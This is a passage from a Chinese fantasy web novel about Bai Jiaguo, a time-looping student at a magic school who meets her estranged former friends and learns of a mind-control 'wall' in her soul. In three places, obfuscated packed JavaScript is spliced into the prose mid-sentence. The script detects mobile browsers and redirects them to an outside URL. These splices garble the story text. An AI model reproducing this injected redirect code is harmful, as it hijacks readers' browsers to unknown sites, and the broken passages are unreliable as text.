直到某次弥蕴珐听柯行开玩笑似的说了句：“我早已不记得自己原来的模样。” 弥蕴珐才意识到，也许在最初的最初，柯行并不是现在的脾气性格，只是重复了太多次，她的精力已经消磨殆尽，所以无所谓得失，只想省点心力。 “感觉总有一天，我也会变成和现在全然不同的样子。”观看笔记的白佳果有感而发。 其实不用等到“总有一天”，光说这辈子和上辈子，白佳果的表现和为人处世，已经有了明显的差异。 当时他们还在拥雪山下的酒店里，泛理正在处理事务，听到白佳果这么说，并未觉得有哪里不对。 他是长生种，即便不会重复过往，漫长的岁月也会将他变得和原来不一样。 改变对他而言，无足轻重。 但察觉到白佳果陷入沉思，没有再翻动笔记，似乎有些介怀，他便安慰道：“没有谁是一成不变的，无论怎样，你都是你。” 日记里还讲述了让时囚真正死去的办法。 只要濒死之际，短暂地将诅咒驱逐就可以了。 说起来简单，实施起来并不容易，尤其是在神明还未陨落的时代，想要左右神明赋予的诅咒，简直痴人说梦。 好在第一任时囚在某一次重复时，让自己被转化成了长生种，活到了神明陨落的那一天。神明不在，祂们留下的诅咒即便没办法完全消除，短暂的驱逐还是能办到的。 等被驱逐的诅咒反应过来，宿主已经死了，便只能去寻找下一个可以背负诅咒的容器。 可但凡身怀诅咒的人有一丝犹豫，驱逐就会失败，换句话说，每一任真正死去的时囚，至少在死去的那一刻，是发自内心地选择迈向死神的怀抱。 白佳果已经看完了笔记的内容，将其锁回密码盒，至于要把密码盒放哪…… 白佳果想了想，抱着密码盒去了泛理的书房，让大伯替她保管。 # 双月期还没结束，但学校图书馆是开放的，白佳果天天泡图书馆，搜索的书籍资料跟出游之前大不相同。 她不满足于从弥蕴珐那知道的一切，开始按照自己的学习习惯去了解神族和神族的诅咒，以及时间女神和塑日教相关的民俗传说和宗教文化。 她需要了解的东西还有很多很多，每天埋头学习，天气越来越热，双月期最后几天，学校里的学生慢慢多起来。 白佳果抽空重新制定了课表，同时收到学生会发来的通知——她通过了实践课的志愿者申请。 通知下来那天，阳光晒到别说血族，就是她从图书馆出来，想迈出脚步走进阳光里，也需要点勇气。 这也太晒了。 上辈子有这么晒吗？ 白佳果一边从书包里拿出空想雅为她准备的血族专用遮阳伞，一边回忆，没回忆起来，上辈子她身边总有同学照顾，他们会根据白佳果的抱怨，用魔法解决她遇到的困难，包括调节她周身的温度。 而且有比天气变化更加值得记忆的事情，自然便没留意相应时期的天气。 比如这会儿，学校组织的出游都结束了。 上辈子她跟那渊他们提前返校，不是为了泡图书馆学习，而是为了陪他们完成学校给予的惩罚。 白骨林事件中，他们没有通知校方擅自进入白骨林，属于违反校规，同时他们又救了第二名失踪的学生，获得了奖励。 惩罚和奖励没有相互抵消，而是各论各的。 奖励照给，惩罚照算。 那渊他们被罚进行三十天的校园义务劳动，每天至少三个小时，期间需要根据学校管理员的要求去搬东西、整理图书馆的图书，或者清洁某一块区域的卫生。 双月期之前他们已经完成了大半个月的义务劳动，回来还得继续。 上辈子白佳果没有被罚，但会跟着他们一块干活，他们总是照顾她，她当然也愿意为他们付出自己的时间和精力。 那时候的她总觉得，只要大家能在一起，就算苦哈哈地做劳动，也是件非常愉快有意义的事情。 如今想想，沉浸在和好友一块打打闹闹的集体活动中，为此感到快乐的，说不定只有她一个人。 白佳果撑起伞，伞沿蔓延出一圈无法触摸的黑色结界，结界质感如同轻纱，垂到地面。 走到阳光下，即便太阳光是倾斜的，白佳果也不用担心遮阳伞只能遮住她的上半身，因为有那一层黑纱结界在，身处结界内的白佳果完全没被太阳晒到，而且结界内温度比外面低。 叠加手腕上那只刻有清凉咒文的手镯，白佳果居然在即将入夏的炎热天气里感觉到了一丝寒冷。 她撑伞走过图书馆大门前那一条林道，林道两旁的草坪上栽着松柏，偶尔还能看到松鼠跑过，身法灵巧地蹿到树上，或是……蹿到学校创始人应索的雕像上。 了解过校史的都知道，这座雕像是应索还在世的时候，自己给自己立的。 理由是怕后代因为他长得英俊看起来不够稳重，给他做雕像的时候故意调整他的容貌把他弄丑。雕像底座上还特地留了一行空，等他去世后，再由后人把他的去世年份填上，是对自己容貌相当满意且自信的一位人族魔法师。 白佳果还知道，这座雕像里面藏着个异空间，她上辈子进去过。 那是一个很诡异的异空间，阴森黑暗，还有带着裂嘴笑面具的幽魂在里面吓人，白佳果觉得自己会在扩香石的影响下做噩梦，梦到双胞胎戴上裂嘴笑面具，绝对是因为在这个异空间里留下了心理阴影。 白佳果的视线扫过雕像，脚下没有停留。 这辈子那渊在图书馆外第一次遇到她的时候，她曾驻足观望雕像，因为她的爸妈通过日记跟她提了一嘴图书馆外的应索雕像，跟她说如果觉得校园生活太无聊的话，可以去看看，会有意想不到的惊喜。 当时她就想：爸妈概念里的“惊喜”和自己理解的“惊喜”，肯定不是一回事。 说起来上辈子爸妈可没有和她说起过雕像，或许是上辈子她会主动通过日记，分享自己在魔法学校的经历的缘故，这辈子重生的她很少用日记跟他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633340|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们交流，只简单提了一下自己入学的事情，以至于他们认为她在学校的生活很无聊，就和她提到了雕像，想给她的生活添点刺激。 那可真够刺激的。 谁爱去谁去，反正这辈子她不想再进去了。 白佳果走出大概六七米的范围，身后突然传来一阵乱七八糟的动静。 听着像是几个人被丢出来，摔在地上—— “少络听！把你的脚从我手上挪开！”这是那渊，他的声音听起来很凶，没有半点开玩笑的意味，在白佳果的记忆里，从未听他用这样的语气说过话。 “嗷！谁压着我外套了！”这是少络听，他倒是想挪，可他的外套被人压住了。 “你们能不能先从我身上起开？”这是宿谬，他们被丢出异空间的时候，他在最前面，因此也被压在最下面。 “我不认识他们，我不认识他们……”这是魔族女生，她的反应比他们都快，被扔出来的瞬间完成了一个空中转体动作，顺利落在了边上，发现同伴们丢脸地滚做一堆，她躲进雕像旁边的阴影里，背过身缩成一团，装作不认识他们。 “我怎么感应到特殊生了？”这是少络望，他一开口，乱七八糟的声音瞬间安静下来。 白佳果撑着伞回头，看见在应索的雕像前，五人组中的四个男生正维持着你推我搡的动作。 五人组中唯一的女孩——那个魔族女生从雕像旁探出头，充满好奇的紫色眼睛透过长到鼻尖的刘海，暗中观察她。 白佳果看看他们，又看看雕像，悟了。 上辈子的秋季双月期，也就是校运会的时候，他们意外进入雕像内藏着的异空间。 这辈子没有她，他们不知道干了什么，赶在这会儿就进去了。 白佳果发现他们身上还带着义务劳动的工牌，所以是在做义务劳动的时候，不小心触发了雕像上打开异空间的魔法？ 不愧是他们，白佳果感慨，转身就要离开。 “白佳果！等一下！”少络听踩着那渊的手起来，跑向白佳果：“先前一直没机会说，能加个好友吗？” 少络听拿出手机，期待地看着白佳果——他还是很想知道，白佳果是怎么发现他身上有打火机的，当然还有另一个原因。 白佳果那天在墓园推理的样子，很迷人。 她的每一句话都出人预料，偏偏她本人表现又很平静，最后凶手人身攻击，说她除了家世背景外毫无价值，她的回应也格外有意思。 这样想的不止少络听一个，少络望挣扎着从地上起来，慢一步走到白佳果面前，提出了同样的求情。 宿谬起身拍了拍身上的灰，眼角余光瞥了眼双胞胎，又转动眼珠看向身前的那渊。 自从白骨林事件，发现被煅嘉以欺骗后，吃足了教训的那渊便不再像原来那样容易轻信别人，性格也变得冷淡许多。 宿谬认为这是好事，人总是要成长的，吃一堑长一智，才不会吃同样的亏。 想来那渊之前对待特殊生那一腔堪比饿狗见到肉骨头的热情，也能稍微收敛……诶？ 宿谬看着那渊迈开脚步，走向白佳果。 那渊双手一左一右搭上双胞胎的肩膀，推开他们俩，对白佳果说：“别管他们，不想加就不加，当然你要是愿意加我好友的话，我很乐意。” 语气没有半点对待双胞胎的凶狠，反而和之前每一次见到白佳果一样，听起来像条开朗又亲人的大狗。 宿谬：“……” 我到底在期待什么？ 23.第二十三章 眼看着双胞胎跟那渊要打起来。 白佳果默默后退两步，准备离开，结果刚转身就差点撞上人——方才还躲在雕像旁边的魔族女生不知道什么时候跑到她身后。 女生留着齐肩短发，发尾如刀削一般齐整，长长的刘海盖过鼻尖，遮去她紫色眼眸中如山羊一般的方形横瞳。 “你好，我叫纷赫琳，”女生抓起白佳果没撑伞的那只手，虽然因为刘海看不清表情和眼底表达的情绪，但能听出来，她的语气里充满了期待：“你可以叫我赫琳吗？” 同为女生，上辈子的纷赫琳是五人组里，跟白佳果走得最近的那一个。 她们会一起去逛街看电影，一起去抓娃娃挑礼物，会去找各种稀奇古怪的店，会买不同口味的冰淇淋和蛋糕交换着吃，也会背地里吐槽那渊他们幼稚。 她们出远门总是住同一个房间，偶尔还会去对方家里过夜，只要凑一块，她们总能大晚上不睡觉聊上半宿，甚至跟对方说起过别人不知道的，自己家里的情况。 纷赫琳知道白佳果因为无法使用魔法，从小就和爸妈分开，即便经常通过日记本联系，爸妈对她也很好，可她跟爸妈见面的时候还是会感到陌生，总觉得比起家人，他们更像网友，见了面反而不知道该说什么。 白佳果知道纷赫琳的父亲是天族，母亲是魔族，两个从属性上相互排斥的种族被爱情冲昏头脑走到一块，携手私奔，生下了她。最后又因为观念不合而分开，分开时关系堪比仇敌，这让纷赫琳受到了父母双方的迁怒——纷赫琳的横瞳是相当标准的魔族眼睛，可她只有横瞳，没有犄角。 母亲嫌她头上没角，父亲嫌她眼睛难看。 母亲虽然毫不掩饰自己的嫌弃，但偶尔会安慰说这不是她的错，父亲则比较偏激，带她进过光明教的教堂，试图用圣水弄瞎她的双眼，幸好被其他天族阻止才没有得逞。 但她还是留下了阴影，很长一段时间不敢露出自己的眼睛，即便现在她的父亲已经死了——这其中当然少不了她的手笔——阴影没剩多少，她还是习惯用刘海挡着眼睛，这能让她有安全感。 两个女孩子之间的友谊比跟那渊他们还要深刻，因此纷赫琳伤到白佳果的程度也最深。 白佳果再见那渊几个男生，会觉得尴尬想逃，十分难受，见到纷赫琳，则是整个心都揪了起来。 此前哪怕是在白骨林，白佳果看到五人组，视线都会非常快地在纷赫琳身上略过去。 眼下猝不及防地面对面，以为自己老早就走出来的白佳果发现，情况没她想得那么乐观。 汹涌的情绪让眼泪毫无预兆地夺眶而出，流下脸庞。 【佳果，你这样其实挺让人困扰的。】 “诶？”纷赫琳睁大眼睛，无措地松开了白佳果的手：“你、你怎么了？是不喜欢被人握手吗？你别哭、别哭啊……” 白佳果身后的双胞胎和那渊停止了互掐，那渊第一反应就是上前看看她怎么了，被宿谬一把按住。 白佳果狼狈地低下头，快速摘掉眼镜擦去眼泪，同时绕开纷赫琳，步伐又急又快，想要逃离这里。 纷赫琳赶忙追上去，紧追不舍地跟着白佳果：“到底怎么了？是我做错什么了吗？我只是想和你做朋友，你……” 那渊一向相信宿谬的判断，所以即便宿谬的力气根本摁不住他，他也会听一听对方的建议。 可这一次，他甩开宿谬的手，追了上去。 “你对她做了什么！”那渊拽住纷赫琳。 纷赫琳对待白佳果小心翼翼，对待那渊直接变脸，整个人充满了尖锐的攻击性，刘海下的紫色眼睛泛起深色的幽光，蓦然压低的嗓音如同命令一般：“放开！” 那渊恍惚了一下，回过神发现自己已经松开手，而纷赫琳也早就追着白佳果跑到了十米开外。 魔族都有自己的天赋能力，就像弥悬能吞噬别人的情绪，纷赫琳的能力跟精神控制有关，但因为是天族和魔族的混血，纷赫琳的能力施展相当不稳定，甚至有反噬的风险。 这次的能力运用格外顺利，她追上白佳果，想说什么，却见白佳果停下脚步回过头，对她说：“眼睛……” 纷赫琳：“什么？” “你把刘海剪了，眼睛露出来，我就答应你。”白佳果说。她没有那渊的体魄和力气，但她清楚怎样能摆脱纷赫琳的纠缠，她太了解他们了。 说完看纷赫琳傻在原地，她扭头离开。 果然这次纷赫琳没有再追上去。 那渊气势汹汹地要找纷赫琳算账，被身后冲上来的双胞胎撞开。 双胞胎好奇死了—— “你把她弄哭了？” “你干了什么？” “该不会是想精神控制结果能力失控了吧？” 纷赫琳回过神，愣愣地调整眼睛焦距，把焦点从白佳果的背影，调整到眼前的刘海上。 “我没有，”她说，但不是为了证明自己的无辜，而是困惑：“我绝对没有对她使用过我的能力，但是刚刚，我好像在她身上感应到了我留下的‘墙’，这怎么可能……” # 如果自己的泪腺能实体化，白佳果一定要把它掐住狠狠揍一顿。 哭什么哭哭什么哭！有这么脆弱吗就哭！ 她带着对自己的愤怒收伞上车关门，一气呵成。 驾驶座的空想雅注意到白佳果眼眶通红，不动声色地收回目光，启动车子，听白佳果呼吸慢慢平稳后，轻轻地问她是不是遇到了什么事。 “没什么。”白佳果撒谎，虽然声音听起来很明显，但她依旧嘴硬：“被风迷眼睛了。” 白佳果态度很明确，空想雅只能假装相信这个说辞，确定白佳果没再出现情绪上的异常，才放弃追根问底，避免过度的关心令其感到不适。 之后几天白佳果没再碰到五人组，双月期正式结束，实践课当天早上，白佳果在校门口等到弥悬，跟着他去教室报道。 从踏进学校起她便察觉到异样——所有建筑，乃至每一寸地面都像覆盖了一层什么东西，肉眼很难看清，但确实存在。 弥悬告诉她：“那是溯回纱，实践课期间，学生身上的安全禁制会被解除，像龙族和魔族破坏力太强，极大可能对校内建筑造成损毁。提前布下溯回纱，被损坏的地方能尽快恢复，不影响第二天上课。” 来到教室，报名当志愿者的学生全在这里等候，他们领到了一只看起来像耳夹的便携式耳麦和一枚随身飞行摄像头。负责策划实践课的老师和学生会通过耳麦随时联系他们，摄像头则是为了拍下学生们的表现，方便剪成纪录片或剪进学校宣传片。 此外还有一只文件袋和一件银白色连帽长外套款的志愿者制服。 制服能抵御一定程度的伤害，超过这个程度，会自动将人传送到最近的安全区域。 看到白佳果也领取了文件袋，还穿上了志愿者的外套，其他学生很意外，纷纷跑来问白佳果负责的地点在哪，万一离得近，他们可以和她一起。 白佳果拆开文件袋，里面装着三捆卡牌和一张写有工作内容和地址的纸，白佳果念出地址，众人一对，发现只有两个学生和白佳果一样。 其他人发出遗憾的声音，了解完这次的规则后便被负责管理志愿者的老师轰走了。 那两个和白佳果同地点的学生志愿者本想等白佳果一起走，却被弥悬告知：“她的任务和你们不一样，需要另外交代一些内容，你们先过去吧。” 于是那两个学生也离开。 老师：“时间差不多了，你陪她等斯笛墨教授，我先过去。” 弥悬：“好。” 等老师走掉，教室里就剩下白佳果和弥悬。 一头雾水的白佳果：“需要另外交代的内容是指……？” 弥悬看了看时间：“骗他们的，是学校方面担心你在实践课上出意外，想另外给你加点防护措施。斯笛墨教授应该快来了。” 话落，准时的金发天族从教室前门踏进来。 “一会儿见。”弥悬对白佳果说。 实践课的策划和筹备工作由全体教职工负责完成，哪怕弥悬是学生会高层也得参与实践课，所以他们可能会在实践课上遇到对方。 “一会儿见。”白佳果挥别弥悬。 校方让作为天族的斯笛墨来给白佳果加防护，自然是最合适的选择。 可事实上：“你看起来像个可移动的魔法道具支架，根本不需要我的魔法来锦上添花。” 斯笛墨蹙着眉，无从下手。 白佳果嘿嘿笑：“我也觉得。” 平时她身上带的防御类魔法道具就够多了，今早出门空想雅又给她添了几件。 斯笛墨：“再加下去，只能给你的灵魂上一层铠甲了。” 白佳果眼睛一亮：“可以吗？” 斯笛墨：“……” 他刚才那两句是嘲讽的意思，白佳果两次都会错了意， 难得对学生感到无力的斯笛墨：“不可以，不要随便让人触碰你的灵魂。” “哦……”白佳果遗憾极了。 既然不用增添额外的防护，那就不必再逗留了。 斯笛墨转身离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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斯笛墨退开一步，眉目微敛：“诅咒在你的灵魂里跟个太阳一样显眼，根本不需要找。” 白佳果：“那你能确定这个诅咒的内容吗？” 斯笛墨抬眸，静静地看着白佳果，突然哼笑一声：“不算笨，知道把问题抛给我。” 白佳果心虚，但理直气壮：“什么叫不算笨，我很聪明的好吗。” 她是利用了斯笛墨对神族的在意，并且没有直接告诉他诅咒的内容，提防对方的同时，又能确保对方给出的结果更能令她信服，可那又怎么样呢，她也承担着风险不是吗？ 斯笛墨：“来自时间女神的诅咒，祂的诅咒都带有沙漏的刻痕。” 白佳果“嘶——”一声：“祂经常诅咒别人吗？” 斯笛墨面露嘲讽：“神族都喜欢审判，然后高高在上地给予其他种族奖励或惩罚，祂们的审判标准因喜好而异，没有谁能完全让祂们满意。” 回到正题，斯笛墨说：“你的诅咒我曾经在记录神明言行的创世书上见过，被诅咒者无法摆脱时间循环，每一次死亡都是重新开始的起点，所以被诅咒者又被称作‘时间囚徒’。我跟第一任时囚打过交道，可惜她对天族有偏见……” 斯笛墨顿了顿：“也不能算是偏见，在那个年代，天族就是神明的使者，她被神诅咒，讨厌天族很正常。总之和她不算熟，我对时囚诅咒的了解也就这么多。” 白佳果：“所以我真的会在死后回到过去？” 斯笛墨给予肯定地答复：“是，创世书上没有谎言，你会在死后回到过去。这就是你要找的答案？” 第一次在课堂上见面的时候，白佳果说过，她来上学不是为了获得使用魔法的能力，而是想要找到一个答案。 “一半吧，还有另一半答案，目前没什么头绪。”白佳果反手撑着桌面坐上桌子，站久了实在有点累。 根据白佳果在课堂上对时间魔法的求知欲，再结合诅咒，斯笛墨有了大概的猜测：“你死过一次？” 如果是两次，她不应当再为验证诅咒而苦恼。 白佳果：“……嗯。” 斯笛墨：“谋杀？” 都说到这了，白佳果也没什么好隐瞒的，她耸耸肩：“反正不可能是意外。” 斯笛墨知道白佳果在找的另一半答案是什么了：她想知道是谁杀了她。 斯笛墨：“我不确定跟你在找的另一半答案有没有关系——我在你的灵魂里，除了诅咒，还看到了一面‘墙’。” 24.第二十四章 “所以——” 东校区大操场，参与实践课的学生们都在这里进行签到，领取组队的袖标和第一张任务卡。 那渊照旧跟宿谬一组，另外还有两个同班同学，双胞胎则和纷赫琳一组，没有加其他人。 双胞胎见到纷赫琳，没有马上去签到，而是仔仔细细地绕着纷赫琳转了一圈，问：“你真把刘海剪了？” 齐肩短发的纷赫琳把刘海剪到了眉毛，露出了那双紫色的魔族横瞳。 她很不习惯，整个人看起来非常紧绷。 双胞胎仿佛没察觉到她的不适，在那一唱一和：“我们以为你会知难而退。” “没想到你这么豁得出去。” “说起来你这几天心不在焉的。” “该不会一直在纠结这件事，直到今天才下定决心吧？” “好拼啊。”两人异口同声。 纷赫琳：“……滚！” 双胞胎嘻嘻哈哈，就是不滚，还拉着她去找同班同学，非得让大家都震惊一下。 效果非常显著—— “纷赫琳？” “你的眼睛这么漂亮的吗？” “好厉害的紫色，怎么做到颜色深一块浅一块的？” “魔族的话，我记得是眼睛颜色越深，魔力越强？” “魔力不稳定会反应到眼睛颜色上吗？” 这下不止同班同学，连边上做相关课题研究的学兄学姐也围了过来。 纷赫琳逐渐从不自在到勉强适应，最后去签到台拿组队袖标，她率先签了字，等双胞胎的时候，她抬头看了看天，没有刘海阻挡，视野比平时清晰很多。 当然不遮眼睛也有坏处，她习惯了藏在刘海后面偷偷观察，没有刘海遮挡，她的注视变得异常明显。 领取任务卡后又等了半个小时，实践课终于开始，她跟在双胞胎身边，躲在这两枚聚光灯的光辉下，暗搓搓打坏主意。 一切都跟以前一样，不起眼的她会比双胞胎更加危险，只是这一次，被她盯上的倒霉蛋一下子就发现了她，甚至还因为她的注视羞红了脸。 纷赫琳：“……” 毫无同情心的双胞胎快笑疯了，纷赫琳极力忍耐，最终还是撸起袖子和兄弟俩打了一架，消除完内部矛盾再去对付竞争对手，并开始学着如何隐藏自己的目光。 另一边，那渊非常焦虑，心思完全不在实践课上，究其原因，自然是担心双胞胎会因为纷赫琳，先一步跟白佳果交上朋友。 本来白佳果就原因不明地讨厌他，要是和双胞胎走到一块，一定会更加排斥他，一想到这里那渊整个人都很烦躁。 他脾气一暴躁，举止就容易激进，宿谬跟得上，另外两个队友却不行，最后为了确保不被淘汰，实践课开始不到一个小时，两名队友便提出分道扬镳。 那渊无所谓，宿谬调解失败，只能无奈同意，双方确认后，袖标出现变化，他们变成了两个队伍。 前队友离开后，宿谬没有马上根据线索推任务进度，而是停下来，准备跟那渊好好谈谈，不然后续怕是要出现更多问题。 “你应该很清楚，实践课拿到好成绩，等于拿到更多的学分，这比继续纠缠特殊生有用。”宿谬完全没和自己的发小客气，直接用了“纠缠”这个词。 那渊：“……我知道，我又不是傻子。” 宿谬抱臂而立：“不好说，除非你愿意先把白佳果的事情放一放，专心做实践课的任务。” 那渊烦躁地抓了抓自己的头发，最后妥协：“知道了知道了，先做任务行了吧。” 宿谬叹气：“希望你说到做到。” 两人继续前往下一个任务点，那渊虽然还是不在状态，但比之前要好很多。 来到分叉路口，宿谬正犹疑该往哪走的时候，那渊突然低声冒出一句：“就算没有学分，我还是想和白佳果做朋友。” 宿谬盯着任务卡和从别人那里抢来的地图，头也不抬：“我以为你是冲着额外学分去的。” “那我肯定得找个理由啊，总不能直接说我第一次在教室里看到她，就很喜欢她吧，听起来像个变态。”那渊压着声音，少有的展现出了别扭的一面。 宿谬视线顿住，可能是夏风燥热的缘故，令他有些难以专注思考。 # 白佳果的工作地点在东校区的体育馆三楼。 跟她同地点的两名志愿者负责体育馆一楼和二楼，学生需要经过他们两人的考验才能获得积分宝石，来到三楼，找到白佳果，从白佳果手上拿走他们需要的线索卡牌。 实践课的规则每年都不一样，今年是学生们组队领取不同路线的任务卡，完成各种主线和支线任务，收集积分宝石和线索卡牌。 最后根据卡牌和宝石的数量，还有各方面的表现进行评分颁奖，奖项有十几个，听起来很多，实际竞争很大。 上辈子五人组一队，光他们一个队便占了四个奖项，出尽风头。 白佳果虽然没有参与实践课，但她听五人组讲了不少实践课的内容，所以很清楚其中两条任务线是怎么走的。 白佳果坐在三楼的露天网球场旁，时不时能听见远方传来巨响，是学生们为了抢线索卡牌和积分宝石，打起来的动静。 白佳果伴着体育馆外的动静，把自己的工作内容和手上的三捆线索卡牌都看了一遍。 三捆卡牌分别对应三份线索和三条不同的任务线，每当有学生来到三楼，她便需要从三捆卡牌里面各抽一张出来，放在桌上让他们自己选。 期间有不懂的，她会直接通过耳麦询问与她对接的老师，巧的是，对方正是负责体育课的那位魔族老师。 魔族老师一如既往的懒散随和，就是有点唯恐天下不乱。 白佳果问他：“这点卡牌够吗？发完了怎么办？会再给我送一点过来吗？” 魔族老师：“发完就和他们说发完了，然后告诉他们之前来拿卡牌的小队有什么特征，往哪边去了，让他们自己去抢。” 白佳果打开手机，按下录音：“麻烦你再说一遍。” 存个证，避免风险。 工作内容很简单，虽然偶尔会出现意外，比如有学生想把剩下的线索卡牌全偷走，不让其他人获得卡牌。 白佳果隐约察觉到魔力波动，按了按瘪下去的文件袋，对加快脚步离开的那几位学生喊道：“那个——同学！” “如果你们打算就这么离开的话，监控室那边会把你们的录像截图发过来，之后再有人来拿线索，我会把你们的照片交出去，说你们偷走了全部卡牌，让他们去找你们哦。” 白佳果现学现卖，监控室里喝着咖啡咬着烟的魔族老师笑了一声，配合地操控飞行摄像头，飞过去绕着那几个学生转了两圈，彰显存在感。 还没到中午，这么快成为众矢之的，不划算。 于是他们商量之后，又把偷走的卡牌还了回来。 熟悉完工作内容，白佳果抽空围观起了学生们的斗殴现场。 体育馆边上是大操场，场地空旷，再过去是西校区，往来学生不少，非常适合抢卡牌和宝石。体育馆门口也是冲突高发地，毕竟谁先进去谁就能先一步完成任务上二楼和三楼。 白佳果趴在栏杆上往下看学生们打架，她就是为了看这个来的，真看上了又有些心不在焉。 斯笛墨说在她的灵魂里看到了“墙”。 “‘墙’是什么？”白佳果对这方面没怎么了解过。 “在精神控制领域，‘墙’是阻碍。”斯笛墨告诉她：“它会阻碍——或者说限制你的思考方向，在这个过程中，你很难发现自己的思考存在盲点。” 白佳果：“如果我发现了会怎么样？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672035|169753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“如果你能发现，‘墙’就会坍塌，但它还在，说明你没有发现。” 白佳果毛骨悚然，有什么能比被人限制思维更加恐怖。 斯笛墨：“一般的‘墙’不会深入灵魂，只要有足够多的怀疑，墙很容易坍塌，而你的‘墙’在灵魂里，它会让你连怀疑都不曾产生。所以你发现不了很正常，不用为此质疑自己的能力，对自己过于责备也是一种自负。” 白佳果慢慢消化斯笛墨说的话，问：“你是在安慰我吗？” 斯笛墨挑了挑眉，反问：“你看我像是这么有善心的人吗？” 怎么不像呢。 白佳果直接表示：“谢谢教授。” 斯笛墨：“……”有点气是怎么回事。 白佳果：“有什么办法可以把这面‘墙’从我的灵魂里弄走吗？” 这对活了不知道多久的斯笛墨来讲并不难，本来那面墙的植入手法也不高明，他替白佳果消除了“墙”，可白佳果没有任何感觉：“这面墙到底阻碍了我对什么的思考？” 斯笛墨：“我不是你的百科全书，想知道答案得你自己去找。” 他只能看到墙，要想再进一步看清墙所阻挡的内容，属于侵犯白佳果的个人隐私。 自己去找…… 白佳果看着楼下打起来的两拨学生，无声叹息。 要想知道‘墙’阻碍了什么，就得先知道是谁树立起了这道墙。 这辈子她在魔法世界接触到的人并不多，其中擅长精神控制的，除了朽教授，只有纷赫琳。 但在弥蕴珐留下的笔记里提到过，初代时囚尝试过各种死法，其中当然包括伤害自己的灵魂，如果时囚死亡时灵魂受损，或者更惨一点就是灵魂被人撕裂碾碎而亡，那么诅咒会将时囚的灵魂重置。 重置后的灵魂将恢复到最干净完整的状态，别说是深入灵魂阻碍思维的墙，就算是出了名无法解开的灵魂伴侣契约，也会被摈弃得干干净净。 反过来讲，如果时囚死时没有伤及灵魂，那么附着在灵魂上的东西，很大可能会跟着时囚一块回到过去。 她上辈子是摔死的，灵魂无伤，所以这面墙也有一定概率来自上辈子。 白佳果分神去回忆上辈子的经历，想确定上辈子都遇到过哪些擅长精神控制的人，以及他们中有谁会给她弄这么一面墙。 想着想着，体育馆大门前又多了一拨人，场面乱得夸张，其中一个魔族和一个亡灵打出了火气，一个不留神轰掉了体育馆的大门和大门外的柱子，连他们的队友也差点被误伤。 “看准再打啊！！” 怕误伤队友把队友给淘汰出局，魔族和亡灵默契地跑到半空中打，和白佳果的距离拉近不少。 白佳果倒是不怕被误伤，在他们之前曾有学生想通过体育馆外墙来三楼直接拿线索，这样虽然会缺少一二楼的积分宝石，但能省出不少时间去抢线索，线索卡牌比别的队多，也能拿奖。 但他们都没有得逞，老师猜到会有学生想走捷径，所以整个体育馆外围，除了大门，其他地方都有结界，根本没办法直接靠近。 白佳果见识过结界的威力，因此哪怕有一记镰刀挥出的黑刃被弹开，直直撞向她，她依旧没有任何动作。 黑刃带起的气流掀开了白佳果的兜帽，白佳果保持着趴栏杆的动作，看着攻击狠狠撞在结界上，然后，被结界吸收。 白佳果还在走神回忆上辈子的事情，那边的魔族和亡灵打得正酣，根本没有发现三楼毫无存在感的白佳果。 直到—— 一只巨大黑龙不知道从哪冒出来，带着令人不解的愤怒喷出火焰，烈焰将魔族和亡灵一同席卷吞没，二者受到的伤害超出袖标的保护极限，被袖标转移到安全地区。 他们的队友所佩戴的袖标上出现了队员减一的符号，表示他们俩一同被淘汰出局。 25.第二十五章 焰火灼烧过的空气染上炙热，白佳果隔着一段距离都能感受到扑面的燥意，还有令人胆颤的龙息。 龙翼卷起的大风很快将燥热驱散，白佳果被吹得眯起眼睛，楼下的三支小队没有犹豫，骂骂咧咧地选择撤离。 为什么！实践课！要允许龙族！解开入学禁制！ 让这种出了名的攻城利器拿出全部实力，其他人哪里还有活路！ 这是许多人的想法，目送其他三队离开的宿谬认为，活路还是有的，他经常会思考如果那渊是自己的敌人，自己该如何应对，结论是只要肯动脑子，肯费心思，愿意联合起来，拿下那渊并不困难。 甚至现在不用这么麻烦，用一个白佳果便可以做到。 宿谬第不知道多少次叹息，眼睁睁看着那渊被体育馆的结界拦下，拿爪子往结界上刨。 刚刚突然冲出去的行为已经很像过度护主的狗，刨起结界来更像了，明明是龙族，怎么一碰上白佳果就狗里狗气的。 宿谬走到体育馆大门前，抬头朝那渊喊：“你是要在上面刨一天，还是现在下来，花个十几分钟从一楼上去？” 那渊停下，爪子往结界上拍了拍，接着落地，恢复人形：“走走走。”他拉上宿谬，迫不及待要上去找白佳果。 一楼的志愿者听见宿谬的话，感觉自己被小瞧了，遂打起十二万分的精神，试图让两位一年级的学弟学学什么叫谦虚。 十分钟后，一楼志愿者含泪倒地，用耳麦切换频道，拜托二楼的志愿者替他挣回点面子。 二楼志愿者看着气势汹汹的那渊，和那渊背后笑眯眯的宿谬，默默关掉耳麦。 她什么都没听见，普普通通的志愿者工作，认真完成就行了，她才不要给自己找麻烦。 没有刻意为难的意思，但二楼的志愿者确实比一楼强，拖了那渊和宿谬二十多分钟，才让他们上去。 